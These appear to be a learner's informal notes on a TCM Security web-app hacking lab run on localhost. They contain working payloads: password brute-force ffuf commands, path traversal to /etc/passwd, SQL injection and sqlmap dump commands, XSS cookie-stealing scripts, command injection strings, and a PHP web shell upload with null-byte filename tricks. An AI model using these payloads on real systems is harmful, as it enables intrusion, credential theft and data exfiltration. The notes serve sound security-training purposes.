**TCM Bog Bounty**

# TCM Bug Bounty

## Scope

[http://localhost:80](http://localhost/)

**By** : Kavishvar

*12/07/2025*

# 1.Authentication

## Authentication 0x01

1. Fuzz using Burp suite and Secrists.(/usr/share/seclists/Passwords)
2. Copy request and use FUFF ***ffuf -request req.txt -request-proto http -w /usr/share/seclists/Passwords/xato-net-10million-passwords-10000.txt -fs 1814***

## Authentication 0x02

We get a MEA code (Short code and user name submitted again)

Change user name in burp suite and farword it .

## Authentication 0x03

localhost/init.php if the lab breaks as there are rules brute Forse them.

Use cluster bomber in burp. user:admin pass:letmein.

***ffuf -request req2.txt -request-proto http -mode clusterbomd -w***

***/use/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER -w pass.txt:PUZZPASS***\*

We can use the authors wiki :

**htt**

[**p**](https://appsecexplained.gitbook.io/appsecexplained/)

**s://ap**

[**p**](https://appsecexplained.gitbook.io/appsecexplained/)

**secex**

[**p**](https://appsecexplained.gitbook.io/appsecexplained/)

**lained.**

[**g**](https://appsecexplained.gitbook.io/appsecexplained/)

**itbook.io/ap**

[**p**](https://appsecexplained.gitbook.io/appsecexplained/)

**secex**

[**p**](https://appsecexplained.gitbook.io/appsecexplained/)

**lained**

[**/**](https://appsecexplained.gitbook.io/appsecexplained/)

## Authentication 0x04

URL header we have a number for account change it and send the req with different number and verify.

**Idor**

->Insecure direct object reference.

Info return based on object id.

Create multiple user accounts and verify it in real world applications.

Do not impact other user accounts if a bug is found..

We will get 1008,1010,1012,1014 as admin accounts.

***ffuf -u '<url<account=FFUZ>>' -w num.txt -mr 'admin'***

## Authentication 0x05

API endpoints

**1.(In terminal)Modify POST request as a new user and send it ... we get a success replay with a token.**

* Every token has 3 pats - a)Header
* b)Body/Payload
* c)Signature
* - If the signature is changed the application will give invalid token .

- \*\*jwt.io\*\* to see Json web token. OR base64 decodes.

**2**

**. Next use GET request and past the above token we will get the account info.**

Create another user account in the same way.

**3**

**. Finally use one user API token to modify another user .**

This is

***BFLA***

Broken Function Level Authorisation.

## Authentication 0x06

**Add Authorize extension in Burp suite from Bapp store.**

Make sure you have jython installed if not download from jython standalone.

In extension settings add the downloaded jysthon file.

We will have ***Authorize*** tab in burp to work on.

To set up Authorize under Temp headers add a user Cookie: session= Turn on Authorize..

Now use the other user and run

***curl***

We can test and see multiple API using authorised.

# 2.File Inclusion

## File Inclusion 0x01

File name is a part of query

Include ../../../../../etc/passwd in place of passwd that captured in burp.

## File Inclusion 0x02

Same as above with URL encoding

Recursive encoding: ..././..././..././.../..././etc/passwd

## File Inclusion 0x03

Save the request and add FUZZ in place of file name and ffuf it ***ffuf -request api-req.txt -request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFIJhaddix.txt -fw 19,20***

....//....//....//....//....//....//....//....//etc/passed

# 3.SQL Injection

## Injection 0x01

Jermey' or 1=1#

Jeremy' union select null,null,version()#

Jermey' union select null,null,from injection0x01#

## Injection 0x02

Cookie session=

' or 1=1#

Use the above payload in burp.

WE can still get the welcome page without actual passwd..

'and substring('a',1,1) = 'a'# ..Substring..

***sqlmap -r request.txt --level=2 --dump -T injection0x02***

## Injection 0x03

x' or 1=1# ***sqlmap -r req.txt -T injection0x03\_users --dump***

Use the below payloads in the search bar of the lab to get the database details...

**Tanjyoubi Sushi Rack' union select null, null, null, password from injection0x03\_users#**

### Tanjyoubi Sushi Rack' union select null,null,null, table\_name from information\_schema.tables#

## Injection 0x04

Second order SQL injection.

Signup using a SQL payload (username) and a passwd.

Later on use the same user name and the above passwd.

**4.Cros side scripting.**

## XXS 0x01

DOM based XSS

List updated entirely locally.

**<**

**img src=x onerror="prompt(1).>"**

**<**

**img src=x onerror="'httos://tcm-sec.com'".**

**>**

## XXS 0x02

Stored XSS

The result must effect database and to all the users.

Create 2 or more user accounts add ***< script>alert(document. Cookie)</ script>*** to one account and when we open another account we will see it getting reflected.

Basis Stored XXS

## XXS 0x03

Use webhook.com to get a image utl and pass it in the comments session we will be able ot get the adin cookie..

# 5.Command line injection

## Command Injection 0x01

htt

p://localhos

[t](http://localhost/)

[;](http://localhost/)

whoami ; #

; which php ; #

## Command Injection 0x01

htt

p://localhost?q

='slee

[p](http://localhost/?q=%27sleep)

10

'

?q='whoami'

## Command Injection 0x03

Based on a test result inject the payload in the last position where the input is received.

^2))}';whoami;)^2))}'

# 6.Service side template injection

## SSTI 0x01

Burp suite template injection

## SSTI 0x02

Same as the above one but the render is within the server and will not be reflected on the client side because of the java script.

Hence the

**www-data**

which is the server side database can be seen in burp suite response.

# 7.XXE

## XXE 0x01

The lab has pre defined files under

***/labs/user-content***

& Amberson entity.

One the file is uploads, we will get the sensitive information.

# 8.File upload

## File upload 0x01

Change file type and content of the file in burp as the file are saved in client side on only and does not interact with the server .

Client side control is not good for security.

Change the file content into

And the file name as **cmd.php** fuff for word list ----> ***ffuf -u*** [***http://localhost/labs/FUZZ***](http://localhost/labs/FUZZ) ***-w***

***/usr/share/wordlists/dirb/common.txt***  localhost/labs/uploads/cmd.php?cmd=whoami.

localhost/labs/uploads/cmd.php?cmd=cat/etc/passed.

## File upload 0x02

File is now checking on server side now.

Use logo.php%00.png,logo.php.png. FOR FILE name manipulation in burp.

Add content [ the above payload ] in a veiled file ( With little content head and tail ) note the magic Bute of that file and change the name of the file to .php...Make these changes in the packet captured by burp suite.

## File upload 0x03

***localhost/labs/uploads/logo2.phtml?cmd=whoami***

# 9.CSRF

## CSRF 0x001

Create POC from Burp suite once we login.

Reload it again as a different user and the payload does the job.

## CSRF 0x002

# SSRF

## SSRF 0x01

URL in a request to the application on our behalf.

In that URL we try to access admin [***http://localhost/\*\*\*\*\*labs/admin.php***](http://localhost/*****labs/admin.php)

Also look for Ip’s.

## SSRF 0x02

We can send EC2 instance or collaborator and give that url in the place and test it.

# Input validation and filtering

Try using different XSS scripts with different level of security.